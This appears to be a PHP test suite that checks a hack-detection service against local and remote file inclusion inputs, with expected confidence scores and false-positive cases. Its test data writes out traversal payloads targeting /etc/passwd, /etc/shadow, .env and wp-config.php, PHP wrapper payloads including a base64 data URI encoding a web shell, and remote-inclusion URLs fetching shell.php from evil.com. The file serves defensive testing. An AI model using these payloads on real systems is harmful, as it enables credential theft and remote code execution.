﻿<?php

declare(strict_types=1);

/**
 * LFI/RFI Detection Tester v1.0
 * Specialized testing module for Local and Remote File Inclusion patterns
 */

final class LFIRFITester {
    private const TEST_KEY_HEADER = 'X-Security-Test';
    private string $testKey;
    private array $testResults = [];
    private float $startTime;

    public function __construct() {
        $this->startTime = microtime(true);
        $this->initializeTestEnvironment();
    }

    private function initializeTestEnvironment(): void {
        $testKeyFile = __DIR__ . '/.test_key';
        
        if (!file_exists($testKeyFile)) {
            $this->testKey = $this->generateSecureTestKey();
            file_put_contents($testKeyFile, $this->testKey, LOCK_EX);
            chmod($testKeyFile, 0600);
            echo "Generated new test key: " . substr($this->testKey, 0, 16) . "...\n";
        } else {
            $this->testKey = trim(file_get_contents($testKeyFile));
        }

        $_SERVER['HTTP_X_SECURITY_TEST'] = $this->testKey;
    }

    private function generateSecureTestKey(): string {
        return bin2hex(random_bytes(32));
    }

    /**
     * Run comprehensive LFI/RFI test suite
     */
    public function runAllTests(): array {
        echo "Starting LFI/RFI Detection Tests...\n";
        echo "Test Key: " . substr($this->testKey, 0, 16) . "...\n\n";

        $this->testTraversalPatterns();
        $this->testSystemFileAccess();
        $this->testProtocolWrappers();
        $this->testRemoteInclusion();
        $this->testApplicationFiles();
        $this->testEvasionTechniques();
        $this->testFalsePositives();
        $this->testPerformance();

        return $this->generateTestReport();
    }

    /**
     * Test directory traversal patterns
     */
    private function testTraversalPatterns(): void {
        echo "1. Testing Directory Traversal Patterns...\n";

        $traversalTests = [
            [
                'description' => 'Basic Unix traversal',
                'input' => ['file' => '../../../etc/passwd'],
                'expected_score' => 95,
                'category' => 'critical'
            ],
            [
                'description' => 'Windows traversal',
                'input' => ['page' => '..\\..\\windows\\system32\\drivers\\etc\\hosts'],
                'expected_score' => 90,
                'category' => 'critical'
            ],
            [
                'description' => 'URL encoded traversal',
                'input' => ['path' => '..%2f..%2f..%2fetc%2fpasswd'],
                'expected_score' => 95,
                'category' => 'critical'
            ],
            [
                'description' => 'Double URL encoding',
                'input' => ['f' => '..%252e%252e%252fetc%252fpasswd'],
                'expected_score' => 90,
                'category' => 'high'
            ],
            [
                'description' => 'Unicode encoding',
                'input' => ['doc' => '%c0%ae%c0%ae%c0%afetc%c0%afpasswd'],
                'expected_score' => 88,
                'category' => 'high'
            ],
            [
                'description' => 'Multiple traversal sequences',
                'input' => ['include' => '../../../../../../etc/passwd'],
                'expected_score' => 95,
                'category' => 'critical'
            ],
            [
                'description' => 'Mixed slashes traversal',
                'input' => ['template' => '..\\../etc/passwd'],
                'expected_score' => 90,
                'category' => 'high'
            ]
        ];

        $this->testResults['traversal_patterns'] = [
            'total_tests' => count($traversalTests),
            'passed_tests' => 0,
            'failed_tests' => 0,
            'test_results' => []
        ];

        foreach ($traversalTests as $test) {
            $result = $this->runSingleTest($test);
            $this->testResults['traversal_patterns']['test_results'][] = $result;

            if ($result['passed']) {
                $this->testResults['traversal_patterns']['passed_tests']++;
            } else {
                $this->testResults['traversal_patterns']['failed_tests']++;
            }
        }

        echo "   ✓ Tested " . count($traversalTests) . " traversal patterns\n";
    }

    /**
     * Test system file access attempts
     */
    private function testSystemFileAccess(): void {
        echo "2. Testing System File Access Attempts...\n";

        $systemFileTests = [
            [
                'description' => 'Unix password file access',
                'input' => ['file' => '/etc/passwd'],
                'expected_score' => 99,
                'category' => 'critical'
            ],
            [
                'description' => 'Unix shadow file access',
                'input' => ['config' => '/etc/shadow'],
                'expected_score' => 99,
                'category' => 'critical'
            ],
            [
                'description' => 'Linux proc filesystem',
                'input' => ['info' => '/proc/self/environ'],
                'expected_score' => 96,
                'category' => 'critical'
            ],
            [
                'description' => 'Process command line',
                'input' => ['debug' => '/proc/version'],
                'expected_score' => 96,
                'category' => 'critical'
            ],
            [
                'description' => 'Windows system files',
                'input' => ['sys' => 'c:\\windows\\system32\\config\\sam'],
                'expected_score' => 92,
                'category' => 'critical'
            ],
            [
                'description' => 'Windows configuration',
                'input' => ['ini' => '..\\..\\boot.ini'],
                'expected_score' => 92,
                'category' => 'critical'
            ],
            [
                'description' => 'Web server configuration',
                'input' => ['cfg' => '/etc/hosts'],
                'expected_score' => 99,
                'category' => 'critical'
            ]
        ];

        $this->testResults['system_file_access'] = [
            'total_tests' => count($systemFileTests),
            'passed_tests' => 0,
            'failed_tests' => 0,
            'test_results' => []
        ];

        foreach ($systemFileTests as $test) {
            $result = $this->runSingleTest($test);
            $this->testResults['system_file_access']['test_results'][] = $result;

            if ($result['passed']) {
                $this->testResults['system_file_access']['passed_tests']++;
            } else {
                $this->testResults['system_file_access']['failed_tests']++;
            }
        }

        echo "   ✓ Tested " . count($systemFileTests) . " system file access patterns\n";
    }

    /**
     * Test PHP protocol wrappers
     */
    private function testProtocolWrappers(): void {
        echo "3. Testing PHP Protocol Wrappers...\n";

        $protocolTests = [
            [
                'description' => 'PHP input stream',
                'input' => ['data' => 'php://input'],
                'expected_score' => 98,
                'category' => 'critical'
            ],
            [
                'description' => 'PHP filter base64 encode',
                'input' => ['file' => 'php://filter/convert.base64-encode/resource=index.php'],
                'expected_score' => 98,
                'category' => 'critical'
            ],
            [
                'description' => 'PHP filter read',
                'input' => ['page' => 'php://filter/read=convert.base64-encode/resource=config.php'],
                'expected_score' => 98,
                'category' => 'critical'
            ],
            [
                'description' => 'PHAR protocol',
                'input' => ['archive' => 'phar:///path/to/archive.phar/file.php'],
                'expected_score' => 98,
                'category' => 'critical'
            ],
            [
                'description' => 'ZIP protocol with PHAR',
                'input' => ['zip' => 'zip://archive.zip#file.php'],
                'expected_score' => 94,
                'category' => 'critical'
            ],
            [
                'description' => 'Data URI with base64 PHP',
                'input' => ['payload' => 'data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4='],
                'expected_score' => 95,
                'category' => 'critical'
            ],
            [
                'description' => 'Expect protocol',
                'input' => ['cmd' => 'expect://ls'],
                'expected_score' => 82,
                'category' => 'medium'
            ]
        ];

        $this->testResults['protocol_wrappers'] = [
            'total_tests' => count($protocolTests),
            'passed_tests' => 0,
            'failed_tests' => 0,
            'test_results' => []
        ];

        foreach ($protocolTests as $test) {
            $result = $this->runSingleTest($test);
            $this->testResults['protocol_wrappers']['test_results'][] = $result;

            if ($result['passed']) {
                $this->testResults['protocol_wrappers']['passed_tests']++;
            } else {
                $this->testResults['protocol_wrappers']['failed_tests']++;
            }
        }

        echo "   ✓ Tested " . count($protocolTests) . " protocol wrapper patterns\n";
    }

    /**
     * Test remote file inclusion attempts
     */
    private function testRemoteInclusion(): void {
        echo "4. Testing Remote File Inclusion...\n";

        $remoteTests = [
            [
                'description' => 'HTTP remote inclusion',
                'input' => ['include' => 'http://evil.com/shell.php'],
                'expected_score' => 93,
                'category' => 'critical'
            ],
            [
                'description' => 'HTTPS remote inclusion',
                'input' => ['lib' => 'https://attacker.net/malware.txt'],
                'expected_score' => 93,
                'category' => 'critical'
            ],
            [
                'description' => 'FTP remote inclusion',
                'input' => ['download' => 'ftp://hacker:pass@evil.com/backdoor.php'],
                'expected_score' => 91,
                'category' => 'high'
            ],
            [
                'description' => 'SFTP remote inclusion',
                'input' => ['remote' => 'sftp://user@evil.com/exploit.phar'],
                'expected_score' => 91,
                'category' => 'high'
            ],
            [
                'description' => 'SMB share inclusion',
                'input' => ['share' => 'smb://evil-pc/shared/backdoor.txt'],
                'expected_score' => 91,
                'category' => 'high'
            ]
        ];

        $this->testResults['remote_inclusion'] = [
            'total_tests' => count($remoteTests),
            'passed_tests' => 0,
            'failed_tests' => 0,
            'test_results' => []
        ];

        foreach ($remoteTests as $test) {
            $result = $this->runSingleTest($test);
            $this->testResults['remote_inclusion']['test_results'][] = $result;

            if ($result['passed']) {
                $this->testResults['remote_inclusion']['passed_tests']++;
            } else {
                $this->testResults['remote_inclusion']['failed_tests']++;
            }
        }

        echo "   ✓ Tested " . count($remoteTests) . " remote inclusion patterns\n";
    }

    /**
     * Test application-specific file access
     */
    private function testApplicationFiles(): void {
        echo "5. Testing Application File Access...\n";

        $appFileTests = [
            [
                'description' => 'WordPress config access',
                'input' => ['config' => '../../wp-config.php'],
                'expected_score' => 89,
                'category' => 'high'
            ],
            [
                'description' => 'Environment file access',
                'input' => ['env' => '../.env'],
                'expected_score' => 88,
                'category' => 'high'
            ],
            [
                'description' => 'Git config access',
                'input' => ['git' => '.git/config'],
                'expected_score' => 87,
                'category' => 'high'
            ],
            [
                'description' => 'Apache config access',
                'input' => ['htaccess' => '.htaccess'],
                'expected_score' => 89,
                'category' => 'high'
            ],
            [
                'description' => 'Database backup access',
                'input' => ['backup' => 'backup.sql'],
                'expected_score' => 85,
                'category' => 'high'
            ],
            [
                'description' => 'WordPress plugin file',
                'input' => ['plugin' => 'wp-content/plugins/malicious/exploit.php'],
                'expected_score' => 84,
                'category' => 'high'
            ],
            [
                'description' => 'Log file access',
                'input' => ['log' => '/var/log/apache2/access.log'],
                'expected_score' => 81,
                'category' => 'medium'
            ]
        ];

        $this->testResults['application_files'] = [
            'total_tests' => count($appFileTests),
            'passed_tests' => 0,
            'failed_tests' => 0,
            'test_results' => []
        ];

        foreach ($appFileTests as $test) {
            $result = $this->runSingleTest($test);
            $this->testResults['application_files']['test_results'][] = $result;

            if ($result['passed']) {
                $this->testResults['application_files']['passed_tests']++;
            } else {
                $this->testResults['application_files']['failed_tests']++;
            }
        }

        echo "   ✓ Tested " . count($appFileTests) . " application file patterns\n";
    }

    /**
     * Test evasion techniques
     */
    private function testEvasionTechniques(): void {
        echo "6. Testing Evasion Techniques...\n";

        $evasionTests = [
            [
                'description' => 'Double extension attempt',
                'input' => ['image' => 'photo.jpg.php'],
                'expected_score' => 63,
                'category' => 'suspicious'
            ],
            [
                'description' => 'Null byte injection',
                'input' => ['file' => '../../etc/passwd\0.php'],
                'expected_score' => 60,
                'category' => 'suspicious'
            ],
            [
                'description' => 'Case variation obfuscation',
                'input' => ['config' => '/APP/Config/Database.php'],
                'expected_score' => 58,
                'category' => 'suspicious'
            ],
            [
                'description' => 'Whitespace obfuscation',
                'input' => ['path' => '/var/ www/ ../ logs/access.log'],
                'expected_score' => 55,
                'category' => 'suspicious'
            ],
            [
                'description' => 'Parameter pollution',
                'input' => ['file' => 'normal.php', 'page' => '../../../etc/passwd'],
                'expected_score' => 95,
                'category' => 'critical'
            ],
            [
                'description' => 'Mixed encoding',
                'input' => ['doc' => '..%2f%2e%2e%2fetc%2fpasswd'],
                'expected_score' => 90,
                'category' => 'high'
            ],
            [
                'description' => 'Backup extension',
                'input' => ['backup' => 'config.php.bak'],
                'expected_score' => 65,
                'category' => 'low'
            ]
        ];

        $this->testResults['evasion_techniques'] = [
            'total_tests' => count($evasionTests),
            'passed_tests' => 0,
            'failed_tests' => 0,
            'test_results' => []
        ];

        foreach ($evasionTests as $test) {
            $result = $this->runSingleTest($test);
            $this->testResults['evasion_techniques']['test_results'][] = $result;

            if ($result['passed']) {
                $this->testResults['evasion_techniques']['passed_tests']++;
            } else {
                $this->testResults['evasion_techniques']['failed_tests']++;
            }
        }

        echo "   ✓ Tested " . count($evasionTests) . " evasion techniques\n";
    }

    /**
     * Test false positive prevention
     */
    private function testFalsePositives(): void {
        echo "7. Testing False Positive Prevention...\n";

        $falsePositiveTests = [
            [
                'description' => 'Legitimate relative path',
                'input' => ['template' => 'header.php'],
                'expected_score' => 0,
                'should_detect' => false,
                'category' => 'legitimate'
            ],
            [
                'description' => 'CSS file request',
                'input' => ['css' => 'styles/main.css'],
                'expected_score' => 0,
                'should_detect' => false,
                'category' => 'legitimate'
            ],
            [
                'description' => 'JavaScript file request',
                'input' => ['script' => 'js/app.js'],
                'expected_score' => 0,
                'should_detect' => false,
                'category' => 'legitimate'
            ],
            [
                'description' => 'Image file request',
                'input' => ['img' => 'images/logo.png'],
                'expected_score' => 0,
                'should_detect' => false,
                'category' => 'legitimate'
            ],
            [
                'description' => 'API request with parameters',
                'input' => ['action' => 'getUser', 'id' => '12345'],
                'expected_score' => 0,
                'should_detect' => false,
                'category' => 'legitimate'
            ],
            [
                'description' => 'Static asset with query parameters',
                'input' => ['version' => '123', 'cache' => 'true'],
                'expected_score' => 0,
                'should_detect' => false,
                'category' => 'legitimate'
            ],
            [
                'description' => 'Normal form submission',
                'input' => ['username' => 'john_doe', 'password' => 'secure_pass'],
                'expected_score' => 0,
                'should_detect' => false,
                'category' => 'legitimate'
            ]
        ];

        $this->testResults['false_positives'] = [
            'total_tests' => count($falsePositiveTests),
            'passed_tests' => 0,
            'failed_tests' => 0,
            'test_results' => []
        ];

        foreach ($falsePositiveTests as $test) {
            $result = $this->runSingleTest($test);
            $this->testResults['false_positives']['test_results'][] = $result;

            if ($result['passed']) {
                $this->testResults['false_positives']['passed_tests']++;
            } else {
                $this->testResults['false_positives']['failed_tests']++;
            }
        }

        echo "   ✓ Tested " . count($falsePositiveTests) . " false positive scenarios\n";
    }

    /**
     * Test performance metrics
     */
    private function testPerformance(): void {
        echo "8. Testing Performance...\n";

        $performanceTests = [];
        $totalTime = 0;
        $testCount = 20;

        // Test various attack patterns for performance
        $testPatterns = [
            '../../../etc/passwd',
            'php://filter/convert.base64-encode/resource=index.php',
            'http://evil.com/shell.php',
            '../../wp-config.php',
            '..%2f..%2f..%2fetc%2fpasswd'
        ];

        for ($i = 0; $i < $testCount; $i++) {
            $pattern = $testPatterns[$i % count($testPatterns)];
            
            $this->setupTestEnvironment([
                'get' => ['file' => $pattern],
                'server' => [
                    'REQUEST_URI' => '/test?file=' . urlencode($pattern),
                    'HTTP_USER_AGENT' => 'Performance-Tester/1.0'
                ]
            ]);

            $startTime = microtime(true);
            $result = HackDetectionService::detectHackAttempt();
            $endTime = microtime(true);

            $executionTime = $endTime - $startTime;
            $totalTime += $executionTime;

            $performanceTests[] = [
                'iteration' => $i + 1,
                'pattern' => $pattern,
                'execution_time' => $executionTime,
                'memory_usage' => memory_get_peak_usage(true),
                'detected' => $result['is_hack'],
                'score' => $result['confidence_score']
            ];
        }

        $this->testResults['performance'] = [
            'iterations' => $testCount,
            'average_time' => $totalTime / $testCount,
            'total_time' => $totalTime,
            'memory_peak' => memory_get_peak_usage(true),
            'tests' => $performanceTests
        ];

        echo "   ✓ Completed " . $testCount . " performance iterations\n";
    }

    /**
     * Run a single test case
     */
    private function runSingleTest(array $test): array {
        $this->setupTestEnvironment([
            'get' => $test['input'],
            'server' => [
                'REQUEST_URI' => '/test?' . http_build_query($test['input']),
                'HTTP_USER_AGENT' => 'LFIRFI-Tester/1.0'
            ]
        ]);

        $result = HackDetectionService::detectHackAttempt();
        
        $expectedScore = $test['expected_score'] ?? 0;
        $expectedDetection = $test['should_detect'] ?? ($expectedScore > 0);
        
        $actualScore = $result['confidence_score'];
        $actualDetection = $result['is_hack'];

        // Allow tolerance for score matching
        $scoreTolerance = 10;
        $scoreMatch = abs($expectedScore - $actualScore) <= $scoreTolerance;
        $detectionMatch = $expectedDetection === $actualDetection;

        $passed = $scoreMatch && $detectionMatch;

        return [
            'description' => $test['description'],
            'category' => $test['category'] ?? 'unknown',
            'expected_score' => $expectedScore,
            'actual_score' => $actualScore,
            'expected_detection' => $expectedDetection,
            'actual_detection' => $actualDetection,
            'passed' => $passed,
            'score_match' => $scoreMatch,
            'detection_match' => $detectionMatch,
            'detected_vectors' => $result['detected_vectors'],
            'risk_level' => $result['risk_level']
        ];
    }

    /**
     * Setup test environment
     */
    private function setupTestEnvironment(array $input): void {
        $_GET = $input['get'] ?? [];
        $_POST = $input['post'] ?? [];
        $_COOKIE = $input['cookie'] ?? [];
        $_SERVER = array_merge($_SERVER, $input['server'] ?? []);
        $_FILES = $input['files'] ?? [];
        
        // Ensure test mode is active
        $_SERVER['HTTP_X_SECURITY_TEST'] = $this->testKey;
    }

    /**
     * Generate comprehensive test report
     */
    private function generateTestReport(): array {
        $endTime = microtime(true);
        $totalTime = $endTime - $this->startTime;

        $report = [
            'test_summary' => [
                'total_execution_time' => $totalTime,
                'memory_peak_usage' => memory_get_peak_usage(true),
                'test_timestamp' => date('Y-m-d H:i:s'),
                'php_version' => PHP_VERSION,
                'test_mode_verified' => true
            ],
            'detailed_results' => $this->testResults
        ];

        // Calculate overall statistics
        $totalTests = 0;
        $passedTests = 0;
        $categoryBreakdown = [];

        foreach ($this->testResults as $category => $results) {
            if (isset($results['passed_tests']) && isset($results['total_tests'])) {
                $totalTests += $results['total_tests'];
                $passedTests += $results['passed_tests'];
                
                $categoryBreakdown[$category] = [
                    'passed' => $results['passed_tests'],
                    'total' => $results['total_tests'],
                    'success_rate' => $results['total_tests'] > 0 ? 
                        ($results['passed_tests'] / $results['total_tests']) * 100 : 0
                ];
            }
        }

        $report['test_summary']['total_tests'] = $totalTests;
        $report['test_summary']['passed_tests'] = $passedTests;
        $report['test_summary']['success_rate'] = $totalTests > 0 ? ($passedTests / $totalTests) * 100 : 0;
        $report['test_summary']['category_breakdown'] = $categoryBreakdown;

        $this->printReport($report);

        return $report;
    }

    /**
     * Print formatted test report
     */
    private function printReport(array $report): void {
        echo "\n" . str_repeat("=", 70) . "\n";
        echo "LFI/RFI DETECTION TEST REPORT\n";
        echo str_repeat("=", 70) . "\n";

        $summary = $report['test_summary'];
        
        printf("Execution Time: %.3f seconds\n", $summary['total_execution_time']);
        printf("Memory Usage: %.2f MB\n", $summary['memory_peak_usage'] / 1024 / 1024);
        printf("PHP Version: %s\n", $summary['php_version']);
        printf("Total Tests: %d\n", $summary['total_tests']);
        printf("Passed Tests: %d\n", $summary['passed_tests']);
        printf("Success Rate: %.1f%%\n", $summary['success_rate']);

        echo "\nCATEGORY BREAKDOWN:\n";
        echo str_repeat("-", 50) . "\n";

        foreach ($summary['category_breakdown'] as $category => $stats) {
            $categoryName = str_replace('_', ' ', ucfirst($category));
            printf("%-25s: %3d/%-3d (%.1f%%)\n", 
                $categoryName, 
                $stats['passed'], 
                $stats['total'], 
                $stats['success_rate']
            );
        }

        // Performance summary
        $performance = $this->testResults['performance'];
        printf("\nPerformance - Avg Time: %.4f seconds (%d iterations)\n", 
            $performance['average_time'], 
            $performance['iterations']
        );

        echo str_repeat("=", 70) . "\n";

        // Recommendations
        if ($summary['success_rate'] >= 95) {
            echo "✓ EXCELLENT: LFI/RFI detection is highly effective.\n";
        } elseif ($summary['success_rate'] >= 85) {
            echo "✓ GOOD: LFI/RFI detection is working well.\n";
            echo "  Consider reviewing failed tests for minor improvements.\n";
        } elseif ($summary['success_rate'] >= 70) {
            echo "⚠ FAIR: LFI/RFI detection needs improvement.\n";
            echo "  Review failed tests and adjust pattern thresholds.\n";
        } else {
            echo "✗ POOR: LFI/RFI detection requires significant improvement.\n";
            echo "  Critical patterns may not be detecting attacks effectively.\n";
        }

        // Specific recommendations
        $failedCategories = [];
        foreach ($summary['category_breakdown'] as $category => $stats) {
            if ($stats['success_rate'] < 80) {
                $failedCategories[] = $category;
            }
        }

        if (!empty($failedCategories)) {
            echo "\nRECOMMENDATIONS:\n";
            foreach ($failedCategories as $category) {
                echo "- Improve detection in: " . str_replace('_', ' ', $category) . "\n";
            }
        }

        echo str_repeat("=", 70) . "\n";
    }

    /**
     * Run specific test category
     */
    public function runSpecificTest(string $testCategory): array {
        switch ($testCategory) {
            case 'traversal':
                $this->testTraversalPatterns();
                break;
            case 'system':
                $this->testSystemFileAccess();
                break;
            case 'protocols':
                $this->testProtocolWrappers();
                break;
            case 'remote':
                $this->testRemoteInclusion();
                break;
            case 'application':
                $this->testApplicationFiles();
                break;
            case 'evasion':
                $this->testEvasionTechniques();
                break;
            case 'falsepositives':
                $this->testFalsePositives();
                break;
            case 'performance':
                $this->testPerformance();
                break;
            default:
                throw new InvalidArgumentException("Unknown test category: $testCategory");
        }

        return $this->testResults[$testCategory] ?? [];
    }

    /**
     * Get detailed test results for analysis
     */
    public function getDetailedResults(): array {
        return $this->testResults;
    }

    /**
     * Export test results to file
     */
    public function exportResults(string $filename): bool {
        $report = $this->generateTestReport();
        $json = json_encode($report, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
        
        return file_put_contents($filename, $json) !== false;
    }

    /**
     * Clean up test environment
     */
    public function cleanup(): void {
        $_GET = $_POST = $_COOKIE = $_FILES = [];
        $_SERVER = array_filter($_SERVER, fn($key) => !str_starts_with($key, 'HTTP_X_SECURITY'), ARRAY_FILTER_USE_KEY);
        $this->testResults = [];
    }
}

// Command line interface
if (php_sapi_name() === 'cli' && basename(__FILE__) === basename($_SERVER['argv'][0] ?? '')) {
    $tester = new LFIRFITester();
    
    $options = getopt('', ['category:', 'export:', 'help']);
    
    if (isset($options['help'])) {
        echo "LFI/RFI Detection Tester\n";
        echo "Usage: php LFIRFITester.php [--category=name] [--export=filename.json]\n";
        echo "Categories: traversal, system, protocols, remote, application, evasion, falsepositives, performance\n";
        exit(0);
    }
    
    if (isset($options['category'])) {
        $result = $tester->runSpecificTest($options['category']);
    } else {
        $result = $tester->runAllTests();
    }
    
    if (isset($options['export'])) {
        $tester->exportResults($options['export']);
        echo "Results exported to: " . $options['export'] . "\n";
    }
    
    $tester->cleanup();
    exit($result['test_summary']['success_rate'] >= 85 ? 0 : 1);
}